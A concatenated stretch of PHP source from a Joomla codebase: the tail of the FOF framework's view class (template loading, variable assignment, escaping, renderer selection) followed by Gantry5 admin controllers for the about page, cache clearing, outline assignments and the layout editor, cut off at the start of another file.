foreach ($suffixes as $suffix)
{
$result = $this->loadAnyTemplate($path . $suffix, $forceParams);
if ($result !== false)
{
return $result;
}
}
}
$layoutTemplate = $this->getLayoutTemplate();
// Parse the path
$templateParts = $this->_parseTemplatePath($path);
// Get the paths
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($templateParts['component']);
$templatePath =
FOFPlatform::getInstance()->getTemplateOverridePath($templateParts['component']);
// Get the default paths
$paths = array();
$paths[] = $templatePath . '/' .
$templateParts['view'];
$paths[] = ($templateParts['admin'] ?
$componentPaths['admin'] : $componentPaths['site']) .
'/views/' . $templateParts['view'] . '/tmpl';
if (isset($this->_path) || property_exists($this, '_path'))
{
$paths = array_merge($paths, $this->_path['template']);
}
elseif (isset($this->path) || property_exists($this,
'path'))
{
$paths = array_merge($paths, $this->path['template']);
}
// Look for a template override
if (isset($layoutTemplate) && $layoutTemplate != '_'
&& $layoutTemplate != $template)
{
$apath = array_shift($paths);
array_unshift($paths, str_replace($template, $layoutTemplate, $apath));
}
$filetofind = $templateParts['template'] . '.php';
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
$this->_tempFilePath = $filesystem->pathFind($paths, $filetofind);
if ($this->_tempFilePath)
{
// Unset from local scope
unset($template);
unset($layoutTemplate);
unset($paths);
unset($path);
unset($filetofind);
// Never allow a 'this' property
if (isset($this->this))
{
unset($this->this);
}
// Force parameters into scope
if (!empty($forceParams))
{
extract($forceParams);
}
// Start capturing output into a buffer
ob_start();
// Include the requested template filename in the local scope (this will
execute the view logic).
include $this->_tempFilePath;
// Done with the requested template; get the buffer and clear it.
$this->_output = ob_get_contents();
ob_end_clean();
return $this->_output;
}
else
{
if ($throwErrorIfNotFound)
{
return new
Exception(JText::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND',
$path), 500);
}
return false;
}
}
/**
* Overrides the default method to execute and display a template script.
* Instead of loadTemplate is uses loadAnyTemplate which allows for
automatic
* Joomla! version overrides. A little slice of awesome pie!
*
* @param string $tpl The name of the template file to parse
*
* @return mixed A string if successful, otherwise a JError object.
*/
public function display($tpl = null)
{
FOFPlatform::getInstance()->setErrorHandling(E_ALL,
'ignore');
$result = $this->loadTemplate($tpl);
if ($result instanceof Exception)
{
FOFPlatform::getInstance()->raiseError($result->getCode(),
$result->getMessage());
return $result;
}
echo $result;
}
/**
* Assigns variables to the view script via differing strategies.
*
* This method is overloaded; you can assign all the properties of
* an object, an associative array, or a single value by name.
*
* You are not allowed to set variables that begin with an underscore;
* these are either private properties for FOFView or private variables
* within the template script itself.
*
* @return boolean True on success, false on failure.
*
* @deprecated 13.3 Use native PHP syntax.
*/
public function assign()
{
FOFPlatform::getInstance()->logDeprecated(__CLASS__ . '::' .
__METHOD__ . ' is deprecated. Use native PHP syntax.');
// Get the arguments; there may be 1 or 2.
$arg0 = @func_get_arg(0);
$arg1 = @func_get_arg(1);
// Assign by object
if (is_object($arg0))
{
// Assign public properties
foreach (get_object_vars($arg0) as $key => $val)
{
if (substr($key, 0, 1) != '_')
{
$this->$key = $val;
}
}
return true;
}
// Assign by associative array
if (is_array($arg0))
{
foreach ($arg0 as $key => $val)
{
if (substr($key, 0, 1) != '_')
{
$this->$key = $val;
}
}
return true;
}
// Assign by string name and mixed value. We use array_key_exists()
instead of isset()
// because isset() fails if the value is set to null.
if (is_string($arg0) && substr($arg0, 0, 1) != '_'
&& func_num_args() > 1)
{
$this->$arg0 = $arg1;
return true;
}
// $arg0 was not object, array, or string.
return false;
}
/**
* Assign variable for the view (by reference).
*
* You are not allowed to set variables that begin with an underscore;
* these are either private properties for FOFView or private variables
* within the template script itself.
*
* @param string $key The name for the reference in the view.
* @param mixed &$val The referenced variable.
*
* @return boolean True on success, false on failure.
*
* @deprecated 13.3 Use native PHP syntax.
*/
public function assignRef($key, &$val)
{
FOFPlatform::getInstance()->logDeprecated(__CLASS__ . '::' .
__METHOD__ . ' is deprecated. Use native PHP syntax.');
if (is_string($key) && substr($key, 0, 1) != '_')
{
$this->$key = &$val;
return true;
}
return false;
}
/**
* Escapes a value for output in a view script.
*
* If escaping mechanism is either htmlspecialchars or htmlentities, uses
* {@link $_encoding} setting.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if (in_array($this->_escape, array('htmlspecialchars',
'htmlentities')))
{
return call_user_func($this->_escape, $var, ENT_COMPAT,
$this->_charset);
}
return call_user_func($this->_escape, $var);
}
/**
* Method to get data from a registered model or a property of the view
*
* @param string $property The name of the method to call on the model
or the property to get
* @param string $default The name of the model to reference or the
default value [optional]
*
* @return mixed The return value of the method
*/
public function get($property, $default = null)
{
// If $model is null we use the default model
if (is_null($default))
{
$model = $this->_defaultModel;
}
else
{
$model = strtolower($default);
}
// First check to make sure the model requested exists
if (isset($this->_models[$model]))
{
// Model exists, let's build the method name
$method = 'get' . ucfirst($property);
// Does the method exist?
if (method_exists($this->_models[$model], $method))
{
// The method exists, let's call it and return what we get
$result = $this->_models[$model]->$method();
return $result;
}
}
// Degrade to FOFUtilsObject::get
$result = parent::get($property, $default);
return $result;
}
/**
* Method to get the model object
*
* @param string $name The name of the model (optional)
*
* @return mixed FOFModel object
*/
public function getModel($name = null)
{
if ($name === null)
{
$name = $this->_defaultModel;
}
return $this->_models[strtolower($name)];
}
/**
* Get the layout.
*
* @return string The layout name
*/
public function getLayout()
{
return $this->_layout;
}
/**
* Get the layout template.
*
* @return string The layout template name
*/
public function getLayoutTemplate()
{
return $this->_layoutTemplate;
}
/**
* Method to get the view name
*
* The model name by default parsed using the classname, or it can be set
* by passing a $config['name'] in the class constructor
*
* @return string The name of the model
*/
public function getName()
{
if (empty($this->_name))
{
$classname = get_class($this);
$viewpos = strpos($classname, 'View');
if ($viewpos === false)
{
throw new
Exception(JText::_('JLIB_APPLICATION_ERROR_VIEW_GET_NAME'), 500);
}
$this->_name = strtolower(substr($classname, $viewpos + 4));
}
return $this->_name;
}
/**
* Method to add a model to the view.
*
* @param FOFMOdel $model The model to add to the view.
* @param boolean $default Is this the default model?
* @param String $name optional index name to store the model
*
* @return object The added model.
*/
public function setModel($model, $default = false, $name = null)
{
if (is_null($name))
{
$name = $model->getName();
}
$name = strtolower($name);
$this->_models[$name] = $model;
if ($default)
{
$this->_defaultModel = $name;
}
return $model;
}
/**
* Sets the layout name to use
*
* @param string $layout The layout name or a string in format
<template>:<layout file>
*
* @return string Previous value.
*/
public function setLayout($layout)
{
$previous = $this->_layout;
if (strpos($layout, ':') === false)
{
$this->_layout = $layout;
}
else
{
// Convert parameter to array based on :
$temp = explode(':', $layout);
$this->_layout = $temp[1];
// Set layout template
$this->_layoutTemplate = $temp[0];
}
return $previous;
}
/**
* Allows a different extension for the layout files to be used
*
* @param string $value The extension.
*
* @return string Previous value
*/
public function setLayoutExt($value)
{
$previous = $this->_layoutExt;
if ($value = preg_replace('#[^A-Za-z0-9]#', '',
trim($value)))
{
$this->_layoutExt = $value;
}
return $previous;
}
/**
* Sets the _escape() callback.
*
* @param mixed $spec The callback for _escape() to use.
*
* @return void
*
* @deprecated 2.1 Override FOFView::escape() instead.
*/
public function setEscape($spec)
{
FOFPlatform::getInstance()->logDeprecated(__CLASS__ . '::' .
__METHOD__ . ' is deprecated. Override FOFView::escape()
instead.');
$this->_escape = $spec;
}
/**
* Adds to the stack of view script paths in LIFO order.
*
* @param mixed $path A directory path or an array of paths.
*
* @return void
*/
public function addTemplatePath($path)
{
$this->_addPath('template', $path);
}
/**
* Adds to the stack of helper script paths in LIFO order.
*
* @param mixed $path A directory path or an array of paths.
*
* @return void
*/
public function addHelperPath($path)
{
$this->_addPath('helper', $path);
}
/**
* Overrides the built-in loadTemplate function with an FOF-specific one.
* Our overridden function uses loadAnyTemplate to provide smarter view
* template loading.
*
* @param string $tpl The name of the template file to parse
* @param boolean $strict Should we use strict naming, i.e. force a
non-empty $tpl?
*
* @return mixed A string if successful, otherwise a JError object
*/
public function loadTemplate($tpl = null, $strict = false)
{
$paths = FOFPlatform::getInstance()->getViewTemplatePaths(
$this->input->getCmd('option', ''),
$this->input->getCmd('view', ''),
$this->getLayout(),
$tpl,
$strict
);
foreach ($paths as $path)
{
$result = $this->loadAnyTemplate($path);
if (!($result instanceof Exception))
{
break;
}
}
if ($result instanceof Exception)
{
FOFPlatform::getInstance()->raiseError($result->getCode(),
$result->getMessage());
}
return $result;
}
/**
* Parses a template path in the form of admin:/component/view/layout or
* site:/component/view/layout to an array which can be used by
* loadAnyTemplate to locate and load the view template file.
*
* @param string $path The template path to parse
*
* @return array A hash array with the parsed path parts
*/
private function _parseTemplatePath($path = '')
{
$parts = array(
'admin' => 0,
'component' => $this->config['option'],
'view' => $this->config['view'],
'template' => 'default'
);
if (substr($path, 0, 6) == 'admin:')
{
$parts['admin'] = 1;
$path = substr($path, 6);
}
elseif (substr($path, 0, 5) == 'site:')
{
$path = substr($path, 5);
}
if (empty($path))
{
return;
}
$pathparts = explode('/', $path, 3);
switch (count($pathparts))
{
case 3:
$parts['component'] = array_shift($pathparts);
case 2:
$parts['view'] = array_shift($pathparts);
case 1:
$parts['template'] = array_shift($pathparts);
break;
}
return $parts;
}
/**
* Get the renderer object for this view
*
* @return FOFRenderAbstract
*/
public function &getRenderer()
{
if (!($this->rendererObject instanceof FOFRenderAbstract))
{
$this->rendererObject = $this->findRenderer();
}
return $this->rendererObject;
}
/**
* Sets the renderer object for this view
*
* @param FOFRenderAbstract &$renderer The render class to use
*
* @return void
*/
public function setRenderer(FOFRenderAbstract &$renderer)
{
$this->rendererObject = $renderer;
}
/**
* Finds a suitable renderer
*
* @return FOFRenderAbstract
*/
protected function findRenderer()
{
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
// Try loading the stock renderers shipped with FOF
if (empty(self::$renderers) || !class_exists('FOFRenderJoomla',
false))
{
$path = __DIR__ . '/../render/';
$renderFiles = $filesystem->folderFiles($path, '.php');
if (!empty($renderFiles))
{
foreach ($renderFiles as $filename)
{
if ($filename == 'abstract.php')
{
continue;
}
@include_once $path . '/' . $filename;
$camel = FOFInflector::camelize($filename);
$className = 'FOFRender' .
ucfirst(FOFInflector::getPart($camel, 0));
$o = new $className;
self::registerRenderer($o);
}
}
}
// Try to detect the most suitable renderer
$o = null;
$priority = 0;
if (!empty(self::$renderers))
{
foreach (self::$renderers as $r)
{
$info = $r->getInformation();
if (!$info->enabled)
{
continue;
}
if ($info->priority > $priority)
{
$priority = $info->priority;
$o = $r;
}
}
}
// Return the current renderer
return $o;
}
/**
* Registers a renderer object with the view
*
* @param FOFRenderAbstract &$renderer The render object to
register
*
* @return void
*/
public static function registerRenderer(FOFRenderAbstract &$renderer)
{
self::$renderers[] = $renderer;
}
/**
* Sets the pre-render flag
*
* @param boolean $value True to enable the pre-render step
*
* @return void
*/
public function setPreRender($value)
{
$this->doPreRender = $value;
}
/**
* Sets the post-render flag
*
* @param boolean $value True to enable the post-render step
*
* @return void
*/
public function setPostRender($value)
{
$this->doPostRender = $value;
}
/**
* Load a helper file
*
* @param string $hlp The name of the helper source file automatically
searches the helper paths and compiles as needed.
*
* @return void
*/
public function loadHelper($hlp = null)
{
// Clean the file name
$file = preg_replace('/[^A-Z0-9_\.-]/i', '', $hlp);
// Load the template script using the default Joomla! features
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
$helper = $filesystem->pathFind($this->_path['helper'],
$this->_createFileName('helper', array('name' =>
$file)));
if ($helper == false)
{
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($this->config['option']);
$path = $componentPaths['main'] . '/helpers';
$helper = $filesystem->pathFind($path,
$this->_createFileName('helper', array('name' =>
$file)));
if ($helper == false)
{
$path = $path = $componentPaths['alt'] .
'/helpers';
$helper = $filesystem->pathFind($path,
$this->_createFileName('helper', array('name' =>
$file)));
}
}
if ($helper != false)
{
// Include the requested template filename in the local scope
include_once $helper;
}
}
/**
* Returns the view's option (component name) and view name in an
* associative array.
*
* @return array
*/
public function getViewOptionAndName()
{
return array(
'option' => $this->config['option'],
'view' => $this->config['view'],
);
}
/**
* Sets an entire array of search paths for templates or resources.
*
* @param string $type The type of path to set, typically
'template'.
* @param mixed $path The new search path, or an array of search
paths. If null or false, resets to the current directory only.
*
* @return void
*/
protected function _setPath($type, $path)
{
// Clear out the prior search dirs
$this->_path[$type] = array();
// Actually add the user-specified directories
$this->_addPath($type, $path);
// Always add the fallback directories as last resort
switch (strtolower($type))
{
case 'template':
// Set the alternative template search dir
if (!FOFPlatform::getInstance()->isCli())
{
$fallback =
FOFPlatform::getInstance()->getTemplateOverridePath($this->input->getCmd('option',
'')) . '/' . $this->getName();
$this->_addPath('template', $fallback);
}
break;
}
}
/**
* Adds to the search path for templates and resources.
*
* @param string $type The type of path to add.
* @param mixed $path The directory or stream, or an array of either,
to search.
*
* @return void
*/
protected function _addPath($type, $path)
{
// Just force to array
settype($path, 'array');
// Loop through the path directories
foreach ($path as $dir)
{
// No surrounding spaces allowed!
$dir = trim($dir);
// Add trailing separators as needed
if (substr($dir, -1) != DIRECTORY_SEPARATOR)
{
// Directory
$dir .= DIRECTORY_SEPARATOR;
}
// Add to the top of the search dirs
array_unshift($this->_path[$type], $dir);
}
}
/**
* Create the filename for a resource
*
* @param string $type The resource type to create the filename for
* @param array $parts An associative array of filename information
*
* @return string The filename
*/
protected function _createFileName($type, $parts = array())
{
$filename = '';
switch ($type)
{
case 'template':
$filename = strtolower($parts['name']) . '.' .
$this->_layoutExt;
break;
default:
$filename = strtolower($parts['name']) . '.php';
break;
}
return $filename;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
include __DIR__ . '/Loader.php';
return \Gantry5\Loader::get();
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Admin\ThemeList;
use Gantry\Component\Admin\HtmlController;
class About extends HtmlController
{
public function index()
{
// TODO: Find better way:
$this->params['info'] = (new
ThemeList)->getTheme($this->container['theme.name']);
return
$this->render('@gantry-admin/pages/about/about.html.twig',
$this->params);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Response\JsonResponse;
use Gantry\Component\Filesystem\Folder;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Cache extends HtmlController
{
public function index()
{
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
Folder::delete($locator('gantry-cache://theme'), false);
Folder::delete($locator('gantry-cache://admin'), false);
// Make sure that PHP has the latest data of the files.
clearstatcache();
return new JsonResponse(['html' => 'Cache was
successfully cleared', 'title' => 'Cache
Cleared']);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html\Configurations;
use Gantry\Component\Admin\HtmlController;
use Gantry\Framework\Assignments as AssignmentsObject;
use RocketTheme\Toolbox\Event\Event;
class Assignments extends HtmlController
{
public function index()
{
$outline = $this->params['outline'];
if ($this->hasAssignments($outline)) {
$assignments = new AssignmentsObject($outline);
$this->params['assignments'] =
$assignments->get();
$this->params['options'] =
$assignments->assignmentOptions();
$this->params['assignment'] =
$assignments->getAssignment();
}
return
$this->render('@gantry-admin/pages/configurations/assignments/assignments.html.twig',
$this->params);
}
public function store()
{
// Authorization.
if (!$this->authorize('outline.assign')) {
$this->forbidden();
}
$outline = $this->params['outline'];
if (!$this->hasAssignments($outline)) {
$this->undefined();
}
if (!$this->request->post->get('_end')) {
throw new \OverflowException("Incomplete data received.
Please increase the value of 'max_input_vars' variable (in
php.ini or .htaccess)", 400);
}
// Save assignments.
$assignments = new AssignmentsObject($outline);
$assignments->save($this->request->post->getArray('assignments'));
// Fire save event.
$event = new Event;
$event->gantry = $this->container;
$event->theme = $this->container['theme'];
$event->controller = $this;
$event->assignments = $assignments;
$this->container->fireEvent('admin.assignments.save',
$event);
return '';
}
protected function hasAssignments($outline)
{
// Default outline and system outlines cannot have assignments.
return $outline !== 'default' && $outline[0] !==
'_';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html\Configurations;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Layout\Layout as LayoutObject;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Outlines;
use RocketTheme\Toolbox\Event\Event;
class Layout extends HtmlController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index',
'/create' => 'create',
'/create/*' => 'create',
'/*' => 'undefined',
'/switch' => 'listSwitches',
'/switch/*' => 'switchLayout',
'/preset' => 'undefined',
'/preset/*' => 'preset'
],
'POST' => [
'/' => 'save',
'/*' => 'undefined',
'/*/*' => 'particle',
'/switch' => 'undefined',
'/switch/*' =>
'switchLayout',
'/preset' => 'undefined',
'/preset/*' => 'preset',
'/particles' => 'undefined',
'/particles/*' => 'undefined',
'/particles/*/validate' => 'validate'
],
'PUT' => [
'/*' => 'replace'
],
'PATCH' => [
'/*' => 'update'
],
'DELETE' => [
'/*' => 'destroy'
]
];
public function create($id = null)
{
if (!$id) {
// TODO: we might want to display list of options here
throw new \RuntimeException('Not Implemented', 404);
}
$layout = $this->getLayout("presets/{$id}");
if (!$layout) {
throw new \RuntimeException('Preset not found', 404);
}
$this->params['page_id'] = $id;
$this->params['layout'] =
$layout->prepareWidths()->toArray();
return
$this->render('@gantry-admin/pages/configurations/layouts/create.html.twig',
$this->params);
}
public function index()
{
$outline = $this->params['outline'];
$layout = $this->getLayout($outline);
if (!$layout) {
throw new \RuntimeException('Layout not found', 404);
}
$groups = [
'Positions' => ['position' => [],
'spacer' => [], 'system' => []],
'Particles' => ['particle' => []]
];
$particles = [
'position' => [],
'spacer' => [],
'system' => [],
'particle' => []
];
$particles = array_replace($particles, $this->getParticles());
foreach ($particles as &$group) {
asort($group);
}
unset($group);
foreach ($groups as $section => $children) {
foreach ($children as $key => $child) {
$groups[$section][$key] = $particles[$key];
}
}
$this->params['page_id'] = $outline;
$this->params['layout'] =
$layout->prepareWidths()->toArray();
$this->params['preset'] = $layout->preset;
$this->params['preset_title'] =
ucwords(trim(str_replace('_', ' ',
$layout->preset['name'])));
$this->params['id'] =
ucwords(str_replace('_', ' ', ltrim($outline,
'_')));
$this->params['particles'] = $groups;
$this->params['switcher_url'] =
str_replace('.', '/',
"configurations.{$outline}.layout.switch");
return
$this->render('@gantry-admin/pages/configurations/layouts/edit.html.twig',
$this->params);
}
public function save()
{
$layout = $this->request->post->get('layout');
$layout = json_decode($layout);
if (!isset($layout)) {
throw new \RuntimeException('Error while saving layout:
Structure missing', 400);
}
$outline = $this->params['outline'];
$preset =
$this->request->post->getJsonArray('preset');
// Create layout from the data.
$layout = new LayoutObject($outline, $layout, $preset);
$layout->init(false, false);
/** @var Outlines $outlines */
$outlines = $this->container['outlines'];
// Update layouts from all inheriting outlines.
$elements = $layout->sections() + $layout->particles(false);
foreach ($outlines->getInheritingOutlines($outline) as
$inheritedId => $inheritedName) {
LayoutObject::instance($inheritedId)->updateInheritance($outline,
$outline, $elements)->save()->saveIndex();
}
// Save layout and its index.
$layout->save()->saveIndex();
// Fire save event.
$event = new Event;
$event->gantry = $this->container;
$event->theme = $this->container['theme'];
$event->controller = $this;
$event->layout = $layout;
$this->container->fireEvent('admin.layout.save',
$event);
}
public function particle($type, $id)
{
if ($type === 'atom') { return ''; }
$outline = $this->params['outline'];
$layout = $this->getLayout($outline);
if (!$layout) {
throw new \RuntimeException('Layout not found', 404);
}
$item = $layout->find($id);
$item->type = $this->request->post['type'] ?:
$type;
$item->subtype = $this->request->post['subtype']
?: $type;
$item->title = $this->request->post['title']
?: ucfirst($type);
$parent = $this->request->post['parent'] ?:
$layout->getParentId($id);
if (!isset($item->attributes)) {
$item->attributes = new \stdClass;
}
if (!isset($item->inherit)) {
$item->inherit = new \stdClass;
}
$block =
$this->request->post->getArray('block');
if (!empty($block)) {
$item->block = (object) $block;
}
$attributes =
$this->request->post->getArray('options');
$inherit =
$this->request->post->getArray('inherit');
$particle = !$layout->isLayoutType($type);
if (!$particle) {
$name = $type;
$section = ($type === 'section');
$hasBlock = $section && !empty($block);
$prefix = "particles.{$type}";
$defaults = [];
$attributes += (array) $item->attributes;
$blueprints =
BlueprintForm::instance("layout/{$type}.yaml",
'gantry-admin://blueprints');
} else {
$name = $item->subtype;
$hasBlock = true;
$prefix = "particles.{$name}";
$defaults = (array)
$this->container['config']->get($prefix);
$blueprints =
$this->container['particles']->getBlueprintForm($name);
$blueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);
}
if ($hasBlock) {
$blockBlueprints =
BlueprintForm::instance('layout/block.yaml',
'gantry-admin://blueprints');
} else {
$blockBlueprints = null;
}
$file =
"gantry-admin://blueprints/layout/inheritance/{$type}.yaml";
if (file_exists($file)) {
$inheritType = $particle ? 'particle' :
'section';
/** @var Outlines $outlines */
$outlines = $this->container['outlines'];
if ($outline !== 'default') {
if ($particle) {
$list =
$outlines->getOutlinesWithParticle($item->subtype, false);
} else {
$list =
$outlines->getOutlinesWithSection($item->id, false);
}
unset($list[$outline]);
} else {
$list = [];
}
if (!empty($inherit['outline']) || (!($inheriting =
$outlines->getInheritingOutlines($outline, [$id, $parent])) &&
$list)) {
$inheritable = true;
$inheritance = BlueprintForm::instance($file,
'gantry-admin://blueprints');
$inheritance->set('form/fields/outline/filter',
array_keys($list));
if (!$hasBlock) {
$inheritance->undef('form/fields/include/options/block');
}
if ($particle) {
$inheritance->set('form/fields/particle/particle', $name);
}
} elseif (!empty($inheriting)) {
// Already inherited by other outlines.
$inheritance =
BlueprintForm::instance('layout/inheritance/messages/inherited.yaml',
'gantry-admin://blueprints');
$inheritance->set(
'form/fields/_note/content',
sprintf($inheritance->get('form/fields/_note/content'),
$inheritType, ' <ul><li>' . implode('</li>
<li>', $inheriting) . '</li></ul>')
);
} elseif ($outline === 'default') {
// Base outline.
$inheritance =
BlueprintForm::instance('layout/inheritance/messages/default.yaml',
'gantry-admin://blueprints');
} else {
// Nothing to inherit from.
$inheritance =
BlueprintForm::instance('layout/inheritance/messages/empty.yaml',
'gantry-admin://blueprints');
}
}
$item->attributes = (object) $attributes;
$item->inherit = (object) $inherit;
$this->params['id'] = $name;
$this->params += [
'extra' => $blockBlueprints,
'inherit' =>
!empty($inherit['outline']) ? $inherit['outline'] :
null,
'inheritance' => isset($inheritance) ?
$inheritance : null,
'inheritable' => !empty($inheritable),
'item' => $item,
'data' => ['particles' =>
[$name => $item->attributes]],
'defaults' => ['particles' =>
[$name => $defaults]],
'prefix' => "particles.{$name}.",
'particle' => $blueprints,
'parent' => 'settings',
'route' =>
"configurations.{$outline}.settings",
'action' => str_replace('.',
'/', 'configurations.' . $outline .
'.layout.' . $prefix . '.validate'),
'skip' => ['enabled'],
'editable' => $particle,
'overrideable' => $particle,
];
if ($particle) {
$result =
$this->render('@gantry-admin/pages/configurations/layouts/particle.html.twig',
$this->params);
} else {
$typeLayout = $type === 'container' ?
'container' : 'section';
$result =
$this->render('@gantry-admin/pages/configurations/layouts/' .
$typeLayout . '.html.twig', $this->params);
}
return $result;
}
public function listSwitches()
{
$this->params['presets'] = LayoutObject::presets();
$result =
$this->render('@gantry-admin/layouts/switcher.html.twig',
$this->params);
return new JsonResponse(['html' => $result]);
}
public function switchLayout($id)
{
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
$outline = $this->params['outline'];
$layout = $this->getLayout($id);
if (!$layout->toArray()) {
// Layout hasn't been defined, return default layout
instead.
$layout = $this->getLayout('default');
}
$input =
$this->request->post->getJson('layout');
$deleted = isset($input) ?
$layout->clearSections()->copySections($input): [];
if ($outline === 'default') {
$layout->inheritNothing();
} elseif (!$input &&
$this->request->post['inherit'] === '1') {
$layout->inheritAll();
}
$message = $deleted
?
$this->render('@gantry-admin/ajax/particles-loss.html.twig',
['particles' => $deleted])
: null;
return new JsonResponse([
'title' => ucwords(trim(str_replace('_',
' ', $layout->preset['name']))),
'preset' => json_encode($layout->preset),
'data' =>
$layout->prepareWidths()->toJson(),
'deleted' => $deleted,
'message' => $message
]);
}
public function preset($id)
{
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
$preset = LayoutObject::preset($id);
if (!$preset) {
throw new \RuntimeException('Preset not found', 404);
}
$layout = new LayoutObject($id, $preset);
$input =
$this->request->post->getJson('layout');
$deleted = isset($input) ?
$layout->clearSections()->copySections($input): [];
$message = $deleted
?
$this->render('@gantry-admin/ajax/particles-loss.html.twig',
['particles' => $deleted])
: null;
return new JsonResponse([
'title' => ucwords(trim(str_replace('_',
' ', $id))),
'preset' => json_encode($layout->preset),
'data' =>
$layout->prepareWidths()->toJson(),
'deleted' => $deleted,
'message' => $message
]);
}
public function validate($particle)
{
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
// Load particle blueprints and default settings.
$validator = new BlueprintSchema;
$name = $particle;
if (in_array($particle, ['wrapper', 'section',
'container', 'grid', 'offcanvas'], true)) {
$type = $particle;
$particle = null;
$file =
CompiledYamlFile::instance("gantry-admin://blueprints/layout/{$type}.yaml");
$validator->embed('options',
(array)$file->content());
$file->free();
} else {
$type = in_array($particle, ['spacer',
'system', 'position'], true) ? $particle :
'particle';
$validator->embed('options',
$this->container['particles']->get($particle));
}
// Create configuration from the defaults.
$data = new Config(
[
'type' => $type,
],
function () use ($validator) {
return $validator;
}
);
// Join POST data.
$data->join('options',
$this->request->post->getArray("particles." . $name));
if ($particle) {
$data->set('options.enabled', (int)
$data->get('options.enabled', 1));
}
if ($particle) {
if ($type !== $particle) {
$data->set('subtype', $particle);
}
$data->join('title',
$this->request->post['title'] ?: ucfirst($particle));
}
$block =
$this->request->post->getArray('block');
if ($block) {
// TODO: remove empty items in some other way:
foreach ($block as $key => $param) {
if ($param === '') {
unset($block[$key]);
continue;
}
if ($key === 'size') {
$param = round($param, 4);
if ($param < 5) {
$param = 5;
} elseif ($param > 100) {
$param = 100;
}
$block[$key] = $param;
}
}
$data->join('block', $block);
}
$inherit =
$this->request->post->getArray('inherit');
$clone = !empty($inherit['mode']) &&
$inherit['mode'] === 'clone';
$inherit['include'] =
!empty($inherit['include']) ? explode(',',
$inherit['include']) : [];
if (!$clone && !empty($inherit['outline'])
&& count($inherit['include'])) {
// Clean up inherit and add it to the data.
if (!$block) {
$inherit['include'] =
array_values(array_diff($inherit['include'],
['block']));
}
unset($inherit['mode']);
$data->join('inherit', $inherit);
}
// Optionally send children of the object.
if (in_array('children', $inherit['include'],
true)) {
$layout = LayoutObject::instance($inherit['outline']
?: $this->params['outline']);
if ($clone) {
$item = $layout->find($inherit['section']);
} else {
$item =
$layout->inheritAll()->find($inherit['section']);
}
$data->join('children', !empty($item->children)
? $item->children : []);
}
// TODO: validate
return new JsonResponse(['data' =>
$data->toArray()]);
}
/**
* @param string $name
* @return LayoutObject
*/
protected function getLayout($name)
{
return LayoutObject::instance($name);
}
protected function getParticles($onlyEnabled = false)
{
/** @var Config $config */
$config = $this->container['config'];
$particles = $this->container['particles']->all();
$list = [];
foreach ($particles as $name => $particle) {
$type = isset($particle['type']) ?
$particle['type'] : 'particle';
$particleName = isset($particle['name']) ?
$particle['name'] : $name;
$particleIcon = isset($particle['icon']) ?
$particle['icon'] : null;
if (!$onlyEnabled ||
$config->get("particles.{$name}.enabled", true)) {
$list[$type][$name] = ['name' =>
$particleName, 'icon' => $particleIcon];
}
}
return $list;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html\Configurations;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\Config;
use Gantry\Component\Layout\Layout;
use Gantry\Component\Response\JsonResponse;
